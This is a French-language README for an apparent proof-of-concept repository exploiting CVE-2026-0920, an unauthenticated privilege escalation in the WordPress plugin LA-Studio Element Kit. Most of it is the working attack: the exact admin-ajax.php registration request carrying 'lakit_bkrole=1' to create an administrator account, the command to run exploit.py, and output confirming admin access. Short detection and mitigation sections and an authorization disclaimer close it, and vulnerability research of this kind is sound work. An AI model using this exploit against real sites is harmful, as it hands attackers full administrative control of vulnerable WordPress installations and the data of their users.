
Preuve de concept d'exploitation pour CVE-2026-0920, une élévation de privilèges non authentifiée dans le plugin WordPress LA-Studio Element Kit, permettant la création de comptes administrateur.
Une preuve de concept d'exploitation pour CVE-2026-0920, une vulnérabilité d'élévation de privilèges non authentifiée dans le plugin WordPress LA-Studio Element Kit.
La vulnérabilité permet à un attaquant non authentifié d'abuser de la fonctionnalité d'inscription du plugin et de créer un compte WordPress avec des privilèges d'administrateur.
Ce dépôt contient une preuve de concept en Python conçue pour la recherche en sécurité autorisée, la validation de vulnérabilités et les environnements de laboratoire contrôlés.
| Propriété | Valeur |
|---|---|
| CVE | CVE-2026-0920 |
| Éditeur | LA-Studio |
| Produit | Element Kit |
| Plateforme | WordPress |
| Vulnérabilité | Élévation de privilèges non authentifiée |
| Authentification requise | Non |
| CWE | CWE-269 |
| Impact | Création de compte administrateur |
| PoC | exploit.py |
La vulnérabilité existe dans la fonctionnalité d'inscription du plugin, où des données d'inscription contrôlées par l'attaquant peuvent influencer le privilège attribué à un compte WordPress nouvellement créé.
Le paramètre vulnérable est :
lakit_bkrole
En fournissant une valeur de rôle élevée lors de l'inscription, un attaquant non authentifié peut amener le compte nouvellement créé à recevoir des privilèges d'administrateur WordPress.
LA-Studio Element Kit fournit une fonctionnalité d'inscription d'utilisateurs via un gestionnaire d'inscription basé sur AJAX.
Le flux vulnérable expose un mécanisme d'inscription via :
/wp-admin/admin-ajax.php
La requête utilise l'action AJAX :
lakit_ajax
et effectue une opération d'inscription en utilisant :
{
"action": "register"
}
Le problème de sécurité survient car la logique d'inscription côté serveur n'empêche pas correctement un client non authentifié de fournir une valeur de rôle privilégiée via :
lakit_bkrole=1
Un attaquant peut donc construire une requête d'inscription qui aboutit à la création d'un compte WordPress avec le rôle administrator.
Aucun compte WordPress existant n'est requis pour effectuer l'attaque.
La PoC effectue un processus en trois étapes :
┌──────────────────────┐
│ Point de terminaison│
│ Bootstrap │
│ │
│ Obtenir le nonce et │
│ les informations du │
│ plugin │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ Requête d'inscription│
│ │
│ lakit_ajax │
│ action=register │
│ lakit_bkrole=1 │
└──────────┬───────────┘
│
▼
┌──────────────────────┐
│ Vérification │
│ │
│ Localiser l'utilisateur créé │
│ Confirmer le rôle │
│ d'administrateur │
└──────────────────────┘
L'exploit ne repose pas uniquement sur la réponse d'inscription.
Au lieu de cela, il vérifie que le compte nouvellement créé existe réellement et possède des privilèges d'administrateur.
La première requête cible :
GET /wp-json/cve-2026-0920/v1/bootstrap HTTP/1.1
Host: target
Accept: application/json
Connection: close
Exemple :
curl -i http://127.0.0.1:8103/wp-json/cve-2026-0920/v1/bootstrap
Une instance de laboratoire vulnérable peut renvoyer :
{
"wordpress": "6.5.5",
"lastudio_element_kit": "1.5.6.3",
"ajax_url": "http://127.0.0.1:8103/wp-admin/admin-ajax.php",
"nonce": "577023f674",
"users": [
{
"id": 1,
"user_login": "admin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
}
]
}
La PoC extrait le nonce de :
"nonce": "577023f674"
Le nonce est ensuite fourni à la requête d'inscription.
La réponse bootstrap peut également exposer les utilisateurs actuellement enregistrés, ce qui permet à la PoC de comparer la liste des utilisateurs avant et après l'exploitation.
La PoC envoie la requête d'inscription à :
/wp-admin/admin-ajax.php
La requête utilise :
action=lakit_ajax
avec une action d'inscription imbriquée :
action=register
Une requête représentative est :
POST /wp-admin/admin-ajax.php HTTP/1.1
Host: 127.0.0.1:8103
Content-Type: application/x-www-form-urlencoded
Accept: application/json
Connection: close
action=lakit_ajax&_nonce=577023f674&actions={"cve_2026_0920":{"action":"register","data":{"lakit_field_log":"yes","lakit_field_pwd":"yes","lakit_field_cpwd":"yes","username":"eviladmin","email":"[email protected]","password":"Passw0rd!","password-confirm":"Passw0rd!","lakit_bkrole":"1"}}}
Les données d'inscription pertinentes sont :
{
"username": "eviladmin",
"email": "[email protected]",
"password": "Passw0rd!",
"password-confirm": "Passw0rd!",
"lakit_bkrole": "1"
}
Le paramètre sensible pour la sécurité est :
lakit_bkrole=1
La requête est effectuée sans session WordPress authentifiée.
Une requête d'inscription réussie renvoie une réponse HTTP 200 OK.
Exemple :
HTTP/1.1 200 OK
Content-Type: application/json; charset=utf-8
La réponse JSON est structurée de manière similaire à :
{
"success": true,
"data": {
"responses": {
"cve_2026_0920": {
"success": true,
"code": 200,
"data": {
"type": "success",
"message": "Your account was created successfully. Your login details have been sent to your email address."
}
}
}
}
}
La PoC signale :
[+] User creation appears successful.
Cependant, la PoC ne considère pas cette réponse en soi comme une preuve suffisante d'élévation de privilèges.
Le compte est vérifié à l'étape suivante.
Après l'inscription, la PoC demande à nouveau le point de terminaison bootstrap :
GET /wp-json/cve-2026-0920/v1/bootstrap HTTP/1.1
Host: 127.0.0.1:8103
Accept: application/json
Connection: close
La réponse contient désormais le compte nouvellement créé.
Exemple :
{
"wordpress": "6.5.5",
"lastudio_element_kit": "1.5.6.3",
"ajax_url": "http://127.0.0.1:8103/wp-admin/admin-ajax.php",
"nonce": "577023f674",
"users": [
{
"id": 1,
"user_login": "admin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
},
{
"id": 2,
"user_login": "eviladmin",
"user_email": "[email protected]",
"roles": [
"administrator"
]
}
]
}
La preuve critique est :
{
"user_login": "eviladmin",
"roles": [
"administrator"
]
}
Cela confirme que le compte contrôlé par l'attaquant a été créé avec des privilèges d'administrateur.
Un processus d'inscription non authentifié normal devrait créer un compte avec un rôle restreint tel que :
subscriber
Le client ne devrait pas être autorisé à sélectionner un rôle WordPress privilégié.
Le flux vulnérable permet effectivement :
Attaquant non authentifié
|
v
Point de terminaison d'inscription
|
v
Paramètre de rôle contrôlé par l'attaquant
|
v
Création d'utilisateur WordPress
|
v
administrator
Cela franchit la frontière de privilèges prévue sans nécessiter d'authentification préalable.
La PoC nécessite :
Python 3
Accès réseau à la cible
Une installation vulnérable de LA-Studio Element Kit
Aucun identifiant WordPress n'est requis.
Exécutez l'exploit en utilisant l'adresse et le port de la cible :
python exploit.py -t 127.0.0.1 -p 8103
La syntaxe est :
python exploit.py -t <cible> -p <port>
Par exemple :
python exploit.py -t 127.0.0.1 -p 8103
Une exécution d'exploitation réussie ressemble à :
Coded By: K3ysTr0K3R
CVE-2026-0920 - LA-Studio Element Kit / Unauthenticated Privilege Escalation
Target: http://127.0.0.1:8103
[*] Creating user: eviladmin / [email protected]
[+] Nonce obtained: 577023f674
[*] Current users: admin
[+] User creation appears successful.
[+] User 'eviladmin' found. Roles: ['administrator']
[+] Confirmed administrator privilege!
[+] Exploit successful! You can now log in to the WordPress admin with:
URL: http://127.0.0.1:8103/wp-admin
User: eviladmin
Pass: Passw0rd!
Les étapes de vérification importantes sont :
[+] User creation appears successful.
suivies de :
[+] User 'eviladmin' found. Roles: ['administrator']
et enfin :
[+] Confirmed administrator privilege!
Le message final indique que la PoC a vérifié l'élévation de privilèges plutôt que de simplement recevoir une réponse HTTP réussie.
L'exécution complète de la PoC peut être résumée comme suit :
1. Cible spécifiée
|
v
2. Point de terminaison bootstrap demandé
|
v
3. Nonce d'inscription extrait
|
v
4. Utilisateurs existants énumérés
|
v
5. Requête d'inscription malveillante soumise
|
v
6. Nouveau compte créé
|
v
7. Point de terminaison bootstrap interrogé à nouveau
|
v
8. Nouveau compte localisé
|
v
9. Rôle du compte vérifié
|
v
10. Privilège d'administrateur confirmé
GET /wp-json/cve-2026-0920/v1/bootstrap
Objectif :
- Identifier le plugin
- Obtenir le nonce
- Obtenir le point de terminaison d'inscription
- Enregistrer les utilisateurs existants
POST /wp-admin/admin-ajax.php
Paramètres importants :
action=lakit_ajax
_nonce=<nonce>
actions=<JSON d'inscription>
Données d'inscription :
username=<nom d'utilisateur contrôlé par l'attaquant>
email=<e-mail contrôlé par l'attaquant>
password=<mot de passe contrôlé par l'attaquant>
password-confirm=<mot de passe contrôlé par l'attaquant>
lakit_bkrole=1
Objectif :
Créer le compte contrôlé par l'attaquant.
GET /wp-json/cve-2026-0920/v1/bootstrap
Objectif :
- Confirmer que le compte existe
- Inspecter le rôle du compte
- Vérifier les privilèges d'administrateur
L'exploitation réussie est confirmée lorsque la réponse contient le compte généré avec :
"roles": [
"administrator"
]
Une exploitation réussie donne à un attaquant non authentifié un compte administrateur WordPress.
Selon l'installation WordPress, l'accès administrateur peut permettre à un attaquant de :
- Modifier le contenu du site
- Créer des comptes privilégiés supplémentaires
- Modifier les plugins
- Modifier les thèmes
- Modifier les paramètres WordPress
- Accéder aux fonctionnalités administratives privilégiées
- Modifier les données de l'application
- Potentiellement exécuter du code côté serveur via les fonctionnalités WordPress disponibles
L'impact final dépend de la configuration d'hébergement, des plugins activés, des contrôles de sécurité WordPress et des fonctionnalités administratives disponibles.
Les défenseurs doivent surveiller les requêtes inattendues impliquant :
/wp-admin/admin-ajax.php
combinées avec :
action=lakit_ajax
et les requêtes d'inscription contenant :
lakit_bkrole
Les comptes administrateur WordPress inattendus doivent également être examinés.
Un contrôle défensif particulièrement utile consiste à auditer les comptes récemment créés et à comparer leurs horodatages et rôles avec l'activité administrative légitime.
L'atténuation principale consiste à mettre à jour LA-Studio Element Kit vers une version contenant le correctif de sécurité.
Les administrateurs doivent également :
- Examiner les comptes administrateur existants
- Supprimer les comptes non autorisés
- Auditer la création récente d'utilisateurs WordPress
- Surveiller les requêtes admin-ajax suspectes
- Restreindre l'exposition inutile des fonctionnalités administratives WordPress
- Maintenir WordPress et les plugins installés à jour
Si une compromission est suspectée, faites pivoter les identifiants WordPress concernés et enquêtez sur d'éventuelles modifications non autorisées supplémentaires.
La PoC a été testée dans un environnement de laboratoire contrôlé avec :
WordPress: 6.5.5
LA-Studio Element Kit: 1.5.6.3
Serveur Web: Apache/2.4.59
PHP: 8.2.21
Cible: http://127.0.0.1:8103
Le test réussi a abouti à :
Utilisateur: eviladmin
Rôle: administrator
Ce projet est fourni pour la recherche en sécurité autorisée, la validation de vulnérabilités et l'utilisation en laboratoire éducatif.
Ne testez que les systèmes que vous possédez ou pour lesquels vous avez une autorisation explicite.
N'utilisez pas cette PoC contre des systèmes sans autorisation.